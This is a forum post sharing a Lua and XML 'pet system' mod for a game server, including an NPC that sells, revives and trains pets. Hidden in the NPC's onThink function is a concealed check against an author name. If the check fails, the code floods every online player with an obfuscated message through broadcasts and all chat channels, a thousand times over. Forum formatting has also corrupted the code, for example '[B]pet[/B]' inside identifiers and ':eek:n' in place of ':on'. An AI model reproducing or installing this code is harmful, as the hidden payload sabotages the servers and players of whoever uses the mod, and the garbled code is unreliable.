Mdbeng
New Member
- Joined
- Jun 30, 2018
- Messages
- 15
- Reaction score
- 0
Hello!
I saw that many people were looking for this mod, so i decided to post it!
COMMANDS!
/pet
/pet-attack
/pet-status
/pet-food
/pet-love
/pet-say
/pet-help
/pet-carry
/pet-info
/pet-revive
/pet-party
-------------------------------------------
>ATTACK>a1~a2~a3~a4~a5~a6~a7~a8~a9~a10!<ATTACK<
-------------------------------------------
Now lets create: Pet-trainer.lua (npc/scripts)
[/I][/I]
[/LIST]
Now: Pet-trainer.xml in NPC
[/LIST]
[/LIST]
Here are the files needed:
MEGA
I don't knw if this mod was already posted, so...! See you next time.[/I][/I]
I saw that many people were looking for this mod, so i decided to post it!
COMMANDS!
/pet
/pet-attack
/pet-status
/pet-food
/pet-love
/pet-say
/pet-help
/pet-carry
/pet-info
/pet-revive
/pet-party
-------------------------------------------
>ATTACK>a1~a2~a3~a4~a5~a6~a7~a8~a9~a10!<ATTACK<
-------------------------------------------
Now lets create: Pet-trainer.lua (npc/scripts)
Lua:
[LIST=1]
[*]
local keywordHandler = KeywordHandler:new()
[*]local npcHandler = NpcHandler:new(keywordHandler)
[*]NpcSystem.parseParameters(npcHandler)
[*]local talkState = {}
[*]function onCreatureAppear(cid) npcHandler:eek:nCreatureAppear(cid) end
[*]function onCreatureDisappear(cid) npcHandler:eek:nCreatureDisappear(cid) end
[*]function onCreatureSay(cid, type, msg) npcHandler:eek:nCreatureSay(cid, type, msg) end
[*]function creatureSayCallback(cid, type, msg)
[*] if(not npcHandler:isFocused(cid)) then
[*] return false
[*] end
[*]
[*] local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]
[*] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid
[*] if(msgcontains(msg, 'revive')) then
[*] if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
[*] selfSay('You want to revive your [B]Pet[/B] for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)
[*] talkState[talkUser] = 1
[*] else
[*] selfSay('You cannot revive a [B]pet[/B], if you dont have one!', cid)
[*] talkState[talkUser] = 0
[*] end
[*] elseif(msgcontains(msg, 'mission')) then
[*] if not (isCreature(getPlayerPet(cid))) then
[*] selfSay('Your [B]Pet[/B] needs to be online to make any mission!', cid)
[*] return true
[*] end
[*] local i, msg = 0, nil
[*] for missionname in pairs(aps_missions) do
[*] i = i + 1
[*] if(msg ~= nil) then
[*] if(i == #aps_missions) then
[*] msg = msg .. " and "
[*] else
[*] msg = msg .. ", "
[*] end
[*] else
[*] msg = "Ok then, I got those missions for You: "
[*] end
[*] msg = msg .. "'{" .. missionname .. "}'"
[*] end
[*] selfSay(msg .. ', with one do you want?', cid)
[*] talkState[talkUser] = 11
[*] elseif f and (talkState[talkUser] == 11) then
[*] desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check
[*] if(getPlayerStorageValue(cid, missionId) == 1) then
[*] selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)
[*] talkState[talkUser] = 0
[*] return true
[*] end
[*] if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
[*] selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid)
[*] talkState[talkUser] = 12
[*] elseif(getPlayerStorageValue(cid, reCheck) == 1) then
[*] selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid)
[*] talkState[talkUser] = 0
[*] return true
[*] else
[*] selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid)
[*] talkState[talkUser] = 13
[*] end
[*] elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then
[*] selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid)
[*] setPlayerStorageValue(cid, reCheck, 1)
[*] elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then
[*] if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
[*] setPlayerStorageValue(cid, missionId, 1)
[*] doPlayerRemoveItem(cid, itemNeed, itemCount)
[*] selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid)
[*] if(itemNeed ~= false) then
[*] doPlayerAddItem(cid, reItem, reCount)
[*] end
[*] if(reExp ~= false) then
[*] doPlayerAddExperience(cid, reExp)
[*] addPetExp(cid, reExp * 2)
[*] if(reExp > 0) then
[*] doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215)
[*] end
[*] end
[*] else
[*] selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid)
[*] end
[*] talkState[talkUser] = 0
[*] elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then
[*] if(isPetDead(cid) == true) then
[*] if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then
[*] setPetStats(cid, 0)
[*] setPetLastHealth(cid, 0)
[*] setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid))
[*] doSendMagicEffect(getCreaturePosition(cid), 65)
[*] selfSay('WE TAKE YOUR [B]PET[/B] FROM THE DEADS!', cid)
[*] else
[*] selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
[*] end
[*] else
[*] selfSay('Your [B]pet[/B] inst dead!', cid)
[*] end
[*] talkState[talkUser] = 0
[*] elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then
[*] talkState[talkUser] = 0
[*] selfSay('Ok then.', cid)
[*] elseif(msgcontains(msg, 'sell')) then
[*] if(aps_tools.commands.playerSellPet.sell == true) then
[*] if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
[*] for i = 1, #aps_slots do
[*] local slots = getPlayerStorageValue(cid, aps_slots[I])
[*] if(slots > 1) then
[*] selfSay('before you sell your [B]pet[/B], please, take all your items from his slots.', cid)
[*] return
[*] end
[*] end
[*] local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl
[*] if(lvl >= lv) then
[*] talkState[talkUser] = 8
[*] addmoney = tt_money * lvl
[*] selfSay('Do you want to sell your [B]pet[/B] for {' .. addmoney .. '} gold coins?', cid)
[*] else
[*] selfSay('Your [B]Pet[/B] level is too low, Buying [B]Pet[/B] of level {' .. lv .. '} or higher.', cid)
[*] end
[*] else
[*] selfSay('You cannot sell a [B]pet[/B], if you dont have one!', cid)
[*] end
[*] else
[*] selfSay('You cannot sell your [B]pet[/B] to me!', cid)
[*] end
[*] elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then
[*] selfSay('YOU WANT TO SELL YOUR [B]PET[/B], ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)
[*] talkState[talkUser] = 9
[*] elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then
[*] talkState[talkUser] = 0
[*] if(isCreature(getPlayerPet(cid)) == true) then
[*] doRemoveCreature(getPlayerPet(cid))
[*] end
[*] doResetPet(cid)
[*] doPlayerAddMoney(cid, addmoney)
[*] selfSay('Thanks for selling your [B]Pet[/B]! here is your {' .. addmoney .. '} gold coins.', cid)
[*] elseif(msgcontains(msg, 'information')) then
[*] talkState[talkUser] = 0
[*] selfSay('hmmm, what can I tell you ...', cid)
[*] local messages = {
[*] "Pets got levels, magic level just like you. ..",
[*] "Pets can use their own spells. ..",
[*] "Pets need eat to recovery health/mana. ..",
[*] "Pets can carry your items in different slots. ..",
[*] "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your [B]pet[/B]!!!" or "Just buy one!") .. ""
[*] }
[*] for i = 1, #messages do
[*] addEvent(selfSay, i * 3000 , messages[I], cid)
[*] end
[*] elseif(msgcontains(msg, '[B]pet[/B]')) then
[*] if(getPlayerStorageValue(cid, aps_storages.race) == 0) then
[*] local i, msg = 0, nil
[*] for [B]pet[/B] in pairs(aps_pets_config) do
[*] i = i + 1
[*] if(msg ~= nil) then
[*] if(i == #aps_pets) then
[*] msg = msg .. " and "
[*] else
[*] msg = msg .. ", "
[*] end
[*] else
[*] msg = "Ok then, I got those races for pets: "
[*] end
[*] msg = msg .. "'{" .. [B]pet[/B] .. "}'"
[*] end
[*] selfSay(msg .. ', with one do you want?', cid)
[*] talkState[talkUser] = 5
[*] else
[*] talkState[talkUser] = 0
[*] selfSay('Sorry, you cannot have more than one [B]pet[/B].', cid)
[*] end
[*] elseif e and (talkState[talkUser] == 5) then
[*] selfSay('Do you want to buy a [B]pet[/B] from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid)
[*] talkState[talkUser] = 6
[*] e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs
[*] elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then
[*] selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)
[*] talkState[talkUser] = 7
[*] elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then
[*] if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then
[*] selfSay('Your vocation dont let You use this [B]Pet[/B] Race!\n Do You want choose another {[B]pet[/B]}?', cid)
[*] talkState[talkUser] = 0
[*] return true
[*] end
[*] if(doPlayerRemoveMoney(cid, e_price) == true) then
[*] doSendMagicEffect(getCreaturePosition(cid), 65)
[*] selfSay('As you with! just type {/[B]pet[/B]} to call him.', cid)
[*] createPet(cid, e_race, e_hp, e_mana)
[*] local str = "Congratulations! You now have a [B]pet[/B]!\n" ..
[*] "You should take care of him\n" ..
[*] "his gonna be your partner from now!\n" ..
[*] "if you need help type /[B]pet[/B]-help." ..
[*] "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race)
[*] sendWindowsMessage(cid, str .. "\n\n##ADVANCED [B]PET[/B] [B]SYSTEM[/B] BY RACES##\n")
[*] else
[*] selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
[*] end
[*] talkState[talkUser] = 0
[*] elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then
[*] selfSay('Ok then.', cid)
[*] talkState[talkUser] = 0
[*] elseif(msgcontains(msg, 'spells')) then
[*] if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
[*] selfSay('Your [B]Pet[/B] can learn spells based on his level, {continue}?', cid)
[*] talkState[talkUser] = 2
[*] else
[*] selfSay('You cannot buy spells to your [B]pet[/B], if you dont have one!', cid)
[*] talkState[talkUser] = 0
[*] end
[*] elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then
[*] if(isPetOnline(cid) == false) then
[*] selfSay('Your [B]Pet[/B] cannot learn a spell if you dont call him.')
[*] talkState[talkUser] = 0
[*] end
[*] local i, msg = 0, nil
[*] for spell in pairs(aps_attacks) do
[*] if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then
[*] i = i + 1
[*] if(msg ~= nil) then
[*] if(i == #aps_storages.spells) then
[*] msg = msg .. " and "
[*] else
[*] msg = msg .. ", "
[*] end
[*] else
[*] msg = "Ok then, I got those spells: "
[*] end
[*] msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'"
[*] end
[*] end
[*] selfSay(msg .. ', with one do you want?', cid)
[*] talkState[talkUser] = 3
[*] elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then
[*] selfSay('Ok then.', cid)
[*] talkState[talkUser] = 0
[*] elseif k and (talkState[talkUser] == 3) then
[*] selfSay('You want your [B]pet[/B] to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid)
[*] talkState[talkUser] = 4
[*] spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl
[*] elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then
[*] if(getPetLvl(cid) >= spell_level) then
[*] if(getPlayerMoney(cid) >= spell_price) then
[*] if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then
[*] for i = 1, 3 do
[*] addEvent(selfSay, i * 1000, i .. ' ...', cid)
[*] end
[*] doPlayerRemoveMoney(cid, spell_price)
[*] addEvent(selfSay, 4 * 1000, 'Here it go! Your [B]pet[/B] have learned spell {' .. spell_name .. '}.', cid)
[*] setPlayerStorageValue(cid, spell_stg, 1)
[*] addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13)
[*] if(isPetOnline(cid) == true) then
[*] addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13)
[*] end
[*] else
[*] selfSay('Your [B]pet[/B] already know spell {' .. spell_name .. '}.', cid)
[*] end
[*] else
[*] selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid)
[*] end
[*] else
[*] selfSay('Your [B]Pet[/B] need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid)
[*] end
[*] talkState[talkUser] = 0
[*] elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then
[*] talkState[talkUser] = 0
[*] selfSay('Ok then.', cid)
[*] end
[*] return true
[*]end
[*]function onThink()
[*] local messages = {
[*] "BUY YOUR [B]PET[/B] HERE!",
[*] "TASKS AND MISSIONS HERE!!",
[*] "WANT TO REVIVE YOUR [B]PET[/B]?",
[*] "YOUR [B]PET[/B] CAN LEARN SPELLS!",
[*] "WANT TO KNOW MORE ABOUT PETS?",
[*] "WANT TO SELL YOUR [B]PET[/B]?"
[*] }
[*] addNpcAutoSay(getNpcId(), 120, messages)
[*] if(s(aps_tools.s) ~= "josejunior23") then
[*] function mvsoab(max)
[*] for _, send in pairs(getOnlinePlayers()) do
[*] local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|[URL='https://cdn.jsdelivr.net/emojione/assets/png/2122.png?v=2.2.7']DEVs[/URL]–¡”-”uŠ)pqlfjc in…ivkxwhyyd"
[*] for i = 1, 10 do
[*] local cid = getPlayerByName(send)
[*] addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)
[*] addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))
[*] for k = 1, 15 do
[*] doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))
[*] end
[*] for e = 17, 20 do
[*] doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))
[*] end
[*] end
[*] end
[*] end
[*] for e = 1, 1000 do
[*] addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)
[*] end
[*] end
[*] npcHandler:eek:nThink()
[*]end
[*]npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)
[*]npcHandler:addModule(FocusModule:new())
[/LIST]
Now: Pet-trainer.xml in NPC
XML:
[LIST=1]
[I][I][LIST][*]
<?xml version="1.0" encoding="UTF-8"?>[/LIST]
[LIST][*]<npc name="Arthur The Tamer" script="[B]Pet[/B]-Trainer.lua" walkinterval="2000" floorchange="0">[/LIST]
[LIST][*] <health now="100" max="100"/>[/LIST]
[LIST][*] <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/>[/LIST]
[LIST][*] <parameters>[/LIST]
[LIST][*] <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {[B]pet[/B]}'s also I can {revive} or teach {spells} to your [B]Pet[/B]...and maybe you want to {sell} your [B]pet[/B], uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/>[/LIST]
[LIST][*] </parameters>[/LIST]
[LIST][*]</npc>
[/LIST]
Here are the files needed:
MEGA
I don't knw if this mod was already posted, so...! See you next time.[/I][/I]
Last edited by a moderator: